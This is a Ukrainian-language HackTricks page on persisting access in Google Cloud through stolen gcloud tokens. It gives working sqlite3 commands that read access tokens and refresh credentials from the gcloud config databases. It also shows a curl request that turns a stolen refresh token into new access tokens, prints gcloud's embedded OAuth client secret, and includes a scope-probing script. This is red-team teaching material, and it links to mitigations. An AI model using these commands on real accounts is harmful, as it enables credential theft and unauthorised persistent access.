GCP - Токен Постійності
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Токени Аутентифікованого Користувача
Щоб отримати поточний токен користувача, ви можете виконати:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
Перевірте на цій сторінці, як безпосередньо використовувати цей токен за допомогою gcloud:
Щоб отримати деталі для генерації нового токена доступу, виконайте:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
Також можливо знайти токени оновлення в $HOME/.config/gcloud/application_default_credentials.json
та в $HOME/.config/gcloud/legacy_credentials/*/adc.json
.
Щоб отримати новий оновлений токен доступу з токеном оновлення, ідентифікатором клієнта та секретом клієнта, виконайте:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
Термін дії токенів оновлення можна керувати в Admin > Security > Google Cloud session control, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався:
.png)
Auth flow
Потік аутентифікації при використанні чогось на кшталт gcloud auth login
відкриє запит у браузері, і після прийняття всіх областей браузер надішле запит, подібний до цього, на http-порт, відкритий інструментом:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Тоді gcloud використовуватиме стан і код з деяким зашитим client_id
(32555940559.apps.googleusercontent.com
) та client_secret
(ZmssLNjJy2998hD4CTg2ejr2
), щоб отримати останні дані токена оновлення.
caution
Зверніть увагу, що зв'язок з localhost здійснюється через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише 1 раз, тому це буде марно, легше просто прочитати токен оновлення з файлу.
OAuth Scopes
Ви можете знайти всі Google scopes на https://developers.google.com/identity/protocols/oauth2/scopes або отримати їх, виконавши:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
Можна побачити, які області підтримує програма, яку gcloud
використовує для аутентифікації, за допомогою цього скрипта:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Після виконання було перевірено, що цей додаток підтримує ці області:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
цікаво бачити, як цей додаток підтримує drive
область, що може дозволити користувачу ескалувати з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цією областю.
Перевірте, як зловживати цим тут.
Облікові записи служб
Так само, як і з автентифікованими користувачами, якщо вам вдасться зламати файл приватного ключа облікового запису служби, ви зможете доступати до нього зазвичай так довго, як вам потрібно.
Однак, якщо ви вкрадете OAuth токен облікового запису служби, це може бути ще цікавіше, оскільки, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо жертва видалить приватний API ключ, OAuth токен залишиться дійсним до його закінчення.
Метадані
Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете доступати до облікового запису служби, прикріпленого до цієї машини, звертаючись до кінцевої точки метаданих (зверніть увагу, що токени Oauth, до яких ви можете отримати доступ на цій кінцевій точці, зазвичай обмежені областями).
Виправлення
Деякі виправлення для цих технік пояснені в https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Посилання
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.